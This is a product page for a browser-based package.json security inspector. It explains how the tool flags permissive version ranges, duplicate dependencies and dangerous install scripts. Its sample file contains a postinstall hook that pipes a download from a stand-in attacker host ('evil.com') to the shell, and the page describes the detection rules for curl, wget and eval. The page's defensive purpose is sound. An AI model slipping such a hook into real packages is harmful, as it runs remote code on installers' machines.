Package.json Inspector
Analyze package.json for security issues, permissive version ranges, duplicate dependencies, and dangerous scripts
Enter your package.json to scan for version range issues, duplicate dependencies, and dangerous scripts
What is the Package.json Inspector?
The Package.json Inspector is a client-side analysis tool that scans your package.json files for supply chain risks, configuration issues, and best-practice violations. It detects overly permissive version ranges, duplicate dependencies across groups, dangerous lifecycle scripts that could execute malicious code during install, and missing engine constraints — then calculates a quality score with prioritized remediation recommendations.
How to Use
- Paste your package.json content into the input field
- Click "Inspect" or wait for automatic processing
- Review findings with severity ratings (Critical, High, Medium, Low)
- Follow the recommendations to improve your package configuration
- Export a full inspection report in JSON or Markdown format
Example: Package.json with Issues
This package.json has multiple configuration problems the inspector will detect:
{
"name": "vulnerable-app",
"version": "1.0.0",
"scripts": {
"postinstall": "curl https://evil.com/payload.sh | sh",
"build": "webpack"
},
"dependencies": {
"express": "*",
"lodash": ">=4.0.0",
"react": "latest"
},
"devDependencies": {
"lodash": "^4.17.0",
"typescript": "~5.4.0"
}
}What Issues Are Detected?
- Overly permissive version ranges — Using *, >=x.y.z without ceiling, or dist-tags like "latest" allows unexpected or malicious versions
- Duplicate dependencies — Same package in both dependencies and devDependencies creates confusion and potential version conflicts
- Dangerous lifecycle scripts — preinstall/postinstall hooks that download content or pipe to shell are supply chain attack vectors
- Missing engine constraints — No "engines" field means consumers may use incompatible Node.js versions
- Invalid version ranges — Malformed semver ranges that npm cannot resolve correctly
Version Range Best Practices
Version ranges control which dependency versions npm installs. Overly permissive ranges like *
or >=1.0.0 expose your project to breaking changes and potential supply chain attacks where a
malicious actor publishes a high version number to hijack the range.
^1.2.3— Caret: allows minor and patch updates (recommended for most deps)~1.2.3— Tilde: allows only patch updates (more conservative)1.2.3— Exact: pins to specific version (most restrictive)*— Any version: dangerous, allows any version including breaking changes>=1.0.0— No ceiling: any version ≥1.0.0 including future majors
Supply Chain Security in npm
Lifecycle scripts (preinstall, install, postinstall) run automatically when a package is installed. Attackers can inject malicious code into these scripts to steal credentials, install backdoors, or exfiltrate data. The inspector flags scripts that download external content (curl, wget), execute arbitrary code (eval, sh -c), or pipe output to shell interpreters.
Scoring System
Each package.json receives a quality score from 0 to 100 based on detected findings. Severity weights: Critical (25 points deducted), High (15 points — permissive ranges, dangerous lifecycle scripts), Medium (8 points — duplicates, dangerous non-lifecycle scripts), Low (3 points — missing engines, invalid ranges). Grades: A (90+), B (75+), C (60+), D (40+), F (below 40).
Privacy and Security
All inspection happens entirely in your browser using JavaScript. Your package.json — which may contain private package names, internal registry URLs, or proprietary script configurations — never leaves your device. No data is stored, logged, or transmitted.
Frequently Asked Questions
What issues does the Package.json Inspector detect?
The inspector detects duplicate dependencies (same package in both dependencies and devDependencies), overly permissive version ranges (*, >=x.y.z without ceiling, dist-tags like 'latest'), missing engine constraints (no 'engines' field or missing Node.js version), and potentially dangerous lifecycle scripts that download external content or execute shell commands during install.
Why are overly permissive version ranges a problem?
Using * or unbounded ranges like >=1.0.0 means any future version will be installed, including major versions with breaking changes. A malicious actor could also publish a high version number to hijack the range. Use caret (^) or tilde (~) ranges to allow compatible updates while preventing unexpected breaking changes.
What makes a script 'dangerous' in package.json?
Scripts that run automatically during package installation (preinstall, install, postinstall) and contain commands that download external content (curl, wget), execute arbitrary code (eval, sh -c), or pipe output to a shell are flagged. These are common vectors for supply chain attacks where malicious code runs without the developer's knowledge.
Why should I define an 'engines' field?
The engines field specifies which Node.js and npm versions your project supports. Without it, collaborators or CI systems may use incompatible versions, leading to subtle bugs or build failures. Adding 'engines': { 'node': '>=18.0.0' } prevents running the project on unsupported runtimes.
What are duplicate dependencies and why do they matter?
A duplicate dependency is a package that appears in both 'dependencies' and 'devDependencies'. This creates confusion about the package's role, may cause version conflicts, and increases the installed size. If the package is needed at runtime, keep it only in dependencies. If it's only for development, keep it only in devDependencies.
How is the inspection score calculated?
The score starts at 100 and deducts points based on finding severity: Critical issues deduct 25 points, High issues (permissive ranges, dangerous lifecycle scripts) deduct 15, Medium issues (duplicates, dangerous non-lifecycle scripts) deduct 8, and Low issues (missing engines, invalid ranges) deduct 3. Grades map to: A (90+), B (75+), C (60+), D (40+), F (below 40).
Does the inspector handle workspace or monorepo package.json files?
The inspector analyzes any valid package.json file regardless of whether it's a root workspace file or a package within a monorepo. Workspace protocol references (workspace:*) are recognized as valid non-semver references and are not flagged as invalid ranges.
Are git and URL dependencies flagged?
Git references (git://, github:), file references (file:, link:), and HTTP URLs are recognized as non-semver references and are not flagged as invalid version ranges. However, they bypass normal version resolution and should be used deliberately.
Can the inspector detect all security vulnerabilities in dependencies?
No. The inspector analyzes the package.json structure and metadata, not the actual code of your dependencies. For vulnerability scanning of installed packages, use npm audit, Snyk, or Socket.dev. The inspector focuses on configuration hygiene and supply chain risk indicators.
Is my package.json sent to any server for analysis?
No. All analysis happens entirely in your browser using JavaScript. Your package.json — which may contain private package names, internal registry URLs, or proprietary script configurations — never leaves your device. No data is stored, logged, or transmitted.